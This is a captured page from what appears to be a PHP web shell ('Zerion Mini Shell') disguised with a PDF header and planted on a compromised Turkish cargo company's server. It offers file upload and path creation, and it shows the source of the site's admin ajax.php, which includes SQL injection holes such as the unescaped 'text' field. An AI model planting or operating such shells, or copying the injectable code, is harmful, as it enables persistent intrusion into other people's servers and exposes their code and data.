%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/cargonizer/domains/cargonizer.com.tr/public_html/admin/
Upload File :
Create Path :
Current File : /home/cargonizer/domains/cargonizer.com.tr/public_html/admin/ajax.php

<?php
@session_start();
@ob_start();
define('PATH','../');
define('LANG',$_SESSION['LANG']);

require('templates.php');
include '../includes/functions.php';
include '../includes/db.php';

$action = clean($_REQUEST['action']);

switch($action) {
    case 'sorting':
        $pro = clean($_POST['order']);
        buildRow($pro,0,'pages');
        break; 
    case 'menusort':
        $pro = clean($_POST['order']);
        buildRow($pro,0,'menus');
        break;

    case 'getfile':
    $editor = clean($_POST['editor']);
    $fid = intval("0".clean($_POST['fid']));
    $id = intval("0".clean($_POST['id']));
    $file = getTable('files',"WHERE id='$fid'");
    $related = getTable('related',"WHERE fid='$fid' && pid='$id'");

    echo '
    <h3>Eklenti detayları</h3>
    <div class="attachment-info" >';
    switch($file['type']) {
        case 'picture':
            echo '<div class="thumbnai"><img src="picture.php?id='.$file['id'].'&w=100&h=100" /></div>';
            list($width,$height) = getimagesize('../files/'.$file['file']);
            $html='<a href="picture.php?id='.$file['id'].'&w=1000&h=800" class="fancybox" rel="gal"><img src="picture.php?id='.$file['id'].'&w=550" alt="'.$file['name'].'" title="'.$file['name'].'" /></a>';
            break;
        case 'file':
            echo '<div class="thumbs"><i class="fa fa-file-text" style="font-size:40px;"></i></div>';
            $html='<a href="download.php?hash='.md5($file['id']).'">İndirmek için lütfen burayı tıklayınız ('.$file['name'].')</a>';
            break;
    }
    echo '<div class="details">
    <div class="filename">'.$file['name'].'</div>
    <div class="uploaded">'.date("d.m.Y",$file['create_time']).'</div>';
    if($width) echo '<div class="dimensions">'.$width.' × '.$height.'</div>';
    echo '<div class="compat-meta"></div>
    </div>
    </div>       
    <div class="clearfix"></div>
    <div class="text-right">';
    '<input type="button" class="btn primary yellow" value="İlişkilendir" id="createRelated" onclick="relatedPic(\''.$id.'\',\''.$fid.'\');" '.(($file['type']=='picture' && !$related)? ' style=""':'style="display:none"').' /> &nbsp;';
    '<input type="button" class="btn primary red" value="İlişkiyi Sil" id="deleteRelated" '.(($file['type']=='picture' && $related)? ' style=""':'style="display:none"').' onclick="relatedDel(this,\''.$related['id'].'\');" /> &nbsp;';
    echo '
    <input type="button" class="btn primary blue" value="EKLE" onclick="send2editor(\''.$id.'\',\''.$fid.'\',\''.$editor.'\',\''.base64_encode($html).'\')" />
    <input type="button" class="btn primary purple" value="SİL" onclick="fileDel(\''.$fid.'\')" /></div>
    ';
    break;
    case 'gettemplate': 
    $editor = clean($_POST['editor']);
    $fid = intval("0".clean($_POST['fid']));
    $id = intval("0".clean($_POST['id']));
    $file = getTable('files',"WHERE id='$fid'");
    // $related = getTable('template_r',"WHERE pic_id='$fid'");
    $relatedQ = mysql_query('SELECT template_r.id,template_r.temp_id,template_r.pic_id,template_r.text FROM template_r LEFT JOIN template ON template.id = template_r.temp_id WHERE template.page = '.$id.' AND template_r.pic_id = '.$fid);
    $related = mysql_fetch_row($relatedQ,MYSQL_ASSOC);
    $templateList = getAllTables('template',"WHERE page='$id' ORDER BY id DESC");
    echo '
    <h3>Eklenti detayları</h3>
    <div class="attachment-info" >';
    switch($file['type']) {
        case 'picture':
            echo '<div class="thumbnai"><img src="picture.php?id='.$file['id'].'&w=100&h=100" /></div>';
            list($width,$height) = getimagesize('../files/'.$file['file']);
            $html='<a href="picture.php?id='.$file['id'].'&w=1000&h=800" class="fancybox" rel="gal"><img src="picture.php?id='.$file['id'].'&w=550" alt="'.$file['name'].'" title="'.$file['name'].'" /></a>';
            break;
    }
    echo '<div class="details">
    <div class="filename">'.$file['name'].'</div>
    <div class="uploaded">'.date("d.m.Y",$file['create_time']).'</div>';
    if($width) echo '<div class="dimensions">'.$width.' × '.$height.'</div>';
    echo '<div class="compat-meta"></div>
    </div>
    </div>       
    <div class="clearfix"></div>';
    if ($templateList != null){
        echo '<div id="tempForm" class="clearfix">
        <textarea name="text" class="form-control" placeholder="Açıklama" rows="4">'.$related['text'].'</textarea>
        <select name="templates" class="form-control" style="margin-bottom:2px;">';
        foreach($templateList as $item){
            if ($item[id] == $related['temp_id']) {$selected = 'selected';} else {$selected=NULL;}
            echo '<option value="'.$item['id'].'" '.$selected.'>'.$item['name'].'</option>';

        }
        // Create    
        echo '</select><input type="button" class="btn primary yellow pull-right" value="İlişkilendir" id="relTemp" onclick="relTemp('.$fid.',null);" '.(($file['type']=='picture' && !$related)? ' style=""':'style="display:none"').' /> &nbsp;';
        // Edit
        echo '<input type="button" class="btn primary yellow pull-right" value="Güncelle" id="relEditTemp" onclick="relTemp('.$fid.','.$related['id'].');" '.(($file['type']=='picture' && $related)? ' style=""':'style="display:none"').' /> &nbsp;';
        // Delete
        echo '<input type="button" class="btn primary red pull-right" value="İlişkiyi Sil" id="relDelTemp" '.(($file['type']=='picture' && $related)? ' style=""':'style="display:none"').' onclick="relDelTemp(this,\''.$related['id'].'\');" /> &nbsp;'; 
    } 
    break;
    case 'relTemp':
        $fid = intval("0".clean($_POST['fid']));
        $id = intval("0".clean($_POST['id']));
        $text = $_POST['text'];
        $mode = clean($_POST['mode']);
        if($id) :
            if ($mode == null){
                mquery("INSERT INTO `template_r` SET temp_id='$id', pic_id='$fid', `text`='$text'");
            }
            else {
                mquery("UPDATE `template_r` SET temp_id='$id', text='$text' WHERE id='$mode'");
            }

            endif;
        break;
    case 'relDelTemp':
        $id = intval("0".clean($_POST['id']));
        $temp_id = intval("0".clean($_POST['temp_id']));
        mquery("DELETE FROM template_r WHERE id='{$id}' LIMIT 1");
        break;
        break;    
    case 'decode':
        $fid = intval("0".clean($_POST['fid']));
        $id = intval("0".clean($_POST['id']));
        if($id) :
            $file = getTable('files',"WHERE id='$fid'");
            $hash = md5($id.$fid);
            mquery("INSERT INTO `related` SET pid='$id', fid='$fid', `type`='{$file['type']}', hash='$hash'");
            endif;
        $value = clean($_POST['value']);
        echo base64_decode($value);
        break; 
    case 'related':
        $fid = intval("0".clean($_POST['fid']));
        $id = intval("0".clean($_POST['id']));
        if($id) :
            $file = getTable('files',"WHERE id='$fid'");
            $hash = md5($id.$fid);
            mquery("INSERT INTO `related` SET pid='$id', fid='$fid', `type`='{$file['type']}', hash='$hash'");
            endif;
        break;
    case 'relatedDel':
        $id = intval("0".clean($_POST['id']));
        mquery("DELETE FROM related WHERE id='{$id}' LIMIT 1");
        break; 
    case 'fileDel':
        $ids = intval("0".clean($_POST['id']));

        $fl = getTable('files',"WHERE id='$ids'");
        @unlink("../files/{$fl['file']}");
        mquery("DELETE FROM files WHERE id=$ids");

        mquery("DELETE FROM related WHERE fid='{$ids}' LIMIT 1");
        break;
    case 'yandex':
        $type = clean($_POST['type']);
        include '../includes/yandex.php';

        $yandex = new Yandex();
        $yandex->id = $settings['yandex_id'];
        break;
    case 'createTemplate' : 
        $name = clean($_POST['name']);
        $tType = intval(clean($_POST['tType']));
        $page = intval(clean($_POST['id']));
        if (!empty($name) && is_numeric($tType) && !empty($page)){
            $tQuery = mquery("INSERT INTO `template` SET name='$name', page='$page', type='$tType'");
            if ($tQuery){
                $tempId = mysql_insert_id();
                $relatedPics =  getAllTables('related',"WHERE pid='{$page}' AND type='picture' ORDER BY row ASC");
                foreach ($relatedPics as $pic){ $pictur = $pic['fid'];
                    mquery("INSERT INTO `template_r` SET temp_id='$tempId', pic_id='$pictur'");
                }   
            }
        }
        else { echo 'Record error!';}
        break;

    case 'oldTemplate' : 
        $name = clean($_POST['name']);
        $temp_id = intval(clean($_POST['id']));
        $op = clean($_POST['op']);
        if (!empty($name) && $op == 'edit'){
            mquery("UPDATE `template` SET name='$name' WHERE id=$temp_id");

        }
        else if (!empty($name) && $op == 'del'){
            mquery("DELETE FROM `template` WHERE id='{$temp_id}' LIMIT 1");
            mquery("DELETE FROM `template_r` WHERE temp_id='{$temp_id}'");
        }
        else { echo 'Record error!';}
        break; 

    case 'ajaxSablon' :
        $id = intval(clean($_POST['id'])); 
        $temps = getAllTables('template',"WHERE page='$id' ORDER BY id DESC");

        foreach($temps as $temp) {

            echo '<div class="col-md-4 sablon-cnt">
            <h3 class="sablon-name">'.$temp['name'].'</h3>';

            echo getTemplate($temp['id'],$temp['type']);


            echo '
            <div class="sablon-ops">
            <input type="button" class="btn primary blue" value="EKLE" onclick="temp2Editor('.$temp['id'].','.$temp['type'].');" />
            </div>
            </div>

            <script type="text/javascript">
            $("#sortable-'.$temp["id"].'").sortable({
            update : function (ev,ui) {
            var order = $("#sortable-'.$temp["id"].'").sortable("serialize")+"&action=templateOrder";
            $.post("ajax.php",order);
            },
            items: "li:not(.disb)",
            placeholder : "picsholder"
            });
            </script>';
        }
        break;

    case 'getRelatedAjax' : 
        $id = intval(clean($_POST['id'])); 
        $files = getAllTables('related',"WHERE pid='{$id}' ORDER BY row ASC");
        echo '<ul class="gallery_folder" id="sortable">';
        foreach($files as $file) {
            $data = getTable('files',"WHERE id='{$file['fid']}'");

            switch($data['type']) {
                case 'picture':
                    echo '<li id="img_'.$file['id'].'">
                    <a style="background:url(\'picture.php?id='.$data['id'].'&w=200&h=200\') center center no-repeat;">
                    <span class="actions" style="display: none;"><i class="fa fa-times-circle" onclick="relatedDel(this,\''.$file['id'].'\');" style="color:#d00; font-size:15px;"></i></span> 
                    </a>
                    </li>';
                    break;
                case 'file':
                    echo '<li class="disb">
                    <a>
                    <div class="filename">'.$data['name'].'</div>
                    <div class="actions" style="display: none;">
                    <a onclick="relatedDel(this,\''.$file['id'].'\');" href="javascript:void(0);" style="color:#d00; font-size:15px;"><i class="fa fa-times-circle"></i></a>
                    </div> 
                    </a>
                    </li>';
                    break;
            }
        }
        echo '</ul><div class="clearfix"></div>';

        echo '<script type="text/javascript">
        $("#sortable").sortable({
        update : function (ev,ui) {
        var order = $("#sortable").sortable("serialize")+"&action=relatedorder";
        $.post("ajax.php",order);
        },
        items: "li:not(.disb)",
        placeholder : "picsholder"
        });
        </script>';           
        break; 

    case 'libraryList': 
        $id=intval($_POST['id']);
        $editor = clean($_POST['editor']);
        $file_ids = getAllTables('related',"WHERE pid=".$id);

        foreach ($file_ids as $fid){

            $file = mysql_fetch_assoc(mysql_query('SELECT * FROM files WHERE id='.$fid['fid']));

            echo '<ul class="gallery_folder">';
            switch($file['type']) {
                case 'picture':
                    echo '<li><a style="background:url(\'picture.php?id='.$file['id'].'&w=200&h=200\') center center no-repeat;" onclick="getDetail('.$file['id'].','.$id.',this,\''.$editor.'\');"></a></li>';
                    break;
                case 'file':
                    echo '<li><a  onclick="getDetail('.$file['id'].','.$id.',this,\''.$editor.'\');"><div><div class="filename">'.$file['name'].'</div></div></a></li>';
                    break;
            }
            echo '</ul>';
        }

        break;

        /*  case 'folderList' : 
        $guery = mysql_query('SELECT DISTINCT folder FROM files');
        while ($klasorler = mysql_fetch_row($guery,MYSQL_ASSOC)){
        if ($klasorler['folder'] != ''){
        echo '<option value="'.$klasorler['folder'].'">'.$klasorler['folder'].'</option>';
        }
        }
        break;  */

        switch($type) {
            case 'populer':
                $sitelink = $yandex->sitelink();
                foreach($sitelink->data->row as $kw) {
                    ?>
                    <li class="list-group-item">
                        <?php echo $kw->url; ?><span class="badge badge-default"><?php echo $kw->page_views; ?></span>
                    </li>
                    <?php
                }
                echo '<li class="list-group-item text-right">
                <a href="?s=links" class="btn blue btn-xs">Devamı</a>
                </li>';
                break;  
            case 'arama':
                $keywords = $yandex->keywords();
                foreach($keywords->data->row as $kw) {
                    ?>
                    <li class="list-group-item">
                        <?php echo $kw->phrase; ?> <span class="badge badge-default"><?php echo $kw->visits; ?></span>

                    </li>
                    <?php
                }
                echo ' <li class="list-group-item text-right">
                <a href="?s=searchkeywords" class="btn blue btn-xs">Devamı</a>
                </li>';
                break;  
            case 'tarayici':
                $tarayici = $yandex->tarayici();
                foreach($tarayici->data->row as $tr) {
                    ?>
                    <li class="list-group-item">
                        <?php echo $tr->name; ?>
                        <span class="badge badge-default"><?php echo $tr->visits; ?></span> 
                    </li>
                    <?php
                }
                echo ' <li class="list-group-item text-right">
                <a href="?s=browser" class="btn green btn-xs">Devamı</a>
                </li>';
                break;  
            case 'ekran':
                $ekran = $yandex->ekran();
                foreach($ekran->data->row as $ek) {
                    ?>
                    <li class="list-group-item">
                        <?php echo $ek->name; ?>
                        <span class="badge badge-default"><?php echo $ek->visits; ?></span> 
                    </li>
                    <?php
                }
                echo ' <li class="list-group-item text-right">
                <a href="?s=screen" class="btn yellow btn-xs">Devamı</a>
                </li>';
                break; 
            case 'isletim':
                $isletim = $yandex->isletim();
                foreach($isletim->data->row as $it) {
                    ?>
                    <li class="list-group-item">
                        <?php echo $it->name; ?>
                        <span class="badge badge-default"><?php echo $it->visits; ?></span> 
                    </li>
                    <?php
                }
                echo ' <li class="list-group-item text-right">
                <a href="?s=os" class="btn red btn-xs">Devamı</a>
                </li>';
                break;  
            case 'mobil':
                $mobil = $yandex->mobil();
                foreach($mobil->data->row as $mb) {
                    ?>
                    <li class="list-group-item">
                        <?php echo $mb->name; ?>
                        <span class="badge badge-default"><?php echo $mb->visits; ?></span> 
                    </li>
                    <?php
                }
                echo ' <li class="list-group-item text-right">
                <a href="?s=mobile" class="btn red btn-xs">Devamı</a>
                </li>';
                break; 
            case 'ulke':
                $ulke = $yandex->ulke();
                foreach($ulke->data->row as $uk) {
                    ?>
                    <li class="list-group-item">
                        <?php echo $uk->name; ?> <?php echo $uk->chld; ?><span class="badge badge-default"> <?php echo $uk->visits; ?></span><span class="badge badge-default"><?php echo $uk->page_views; ?></span>
                    </li>
                    <?php
                }
                echo ' <li class="list-group-item text-right">
                <a href="?s=geo" class="btn purple btn-xs">Devamı</a>
                </li>';
                break;
            case 'reklam':
                $reklam = $yandex->reklam();
                foreach($reklam->data->row as $rek) {
                    ?>
                    <li class="list-group-item">
                        <?php echo $rek->name; ?><span class="badge badge-default"> <?php echo $rek->visits; ?></span>
                    </li>
                    <?php
                }
                echo ' <li class="list-group-item text-right">
                <a href="?s=ad" class="btn yellow btn-xs">Devamı</a>
                </li>';
                break; 
            case 'giris':
                $giris = $yandex->giris();
                foreach($giris->data->row as $gir) {
                    ?>
                    <li class="list-group-item">
                        <?php echo $gir->url; ?><span class="badge badge-default"> <?php echo $gir->visits; ?></span>
                    </li>
                    <?php
                }
                echo '<li class="list-group-item text-right">
                <a href="?s=enter" class="btn blue btn-xs">Devamı</a>
                </li>';

                break;
        }
        break;
    case 'relatedorder':
        $img = clean($_POST['img']);
        $q = "UPDATE `related` SET row = CASE id ";
        for($x=0;$x<count($img);$x++) {
            $q .= "WHEN {$img[$x]} THEN '$x' ";
        }
        $q .=" END WHERE id IN (".implode(',',$img).")";
        mquery($q);
        break;

    case 'templateOrder':
        $img = clean($_POST['img']);
        $q = "UPDATE `template_r` SET row = CASE id ";
        for($x=0;$x<count($img);$x++) {
            $q .= "WHEN {$img[$x]} THEN '$x' ";
        }
        $q .=" END WHERE id IN (".implode(',',$img).")";
        mquery($q);
        break;

    case 'quickEdit':
        $id = intval($_POST['id']);
        $type = clean($_POST['type']);
        $name = clean($_POST['name']);
        $ary['name']=$name;
        $ary['type']=$type;
        insert2lang(LANG,'pages',$id,$ary);
        echo true;
        break;    
}

?>

Zerion Mini Shell 1.0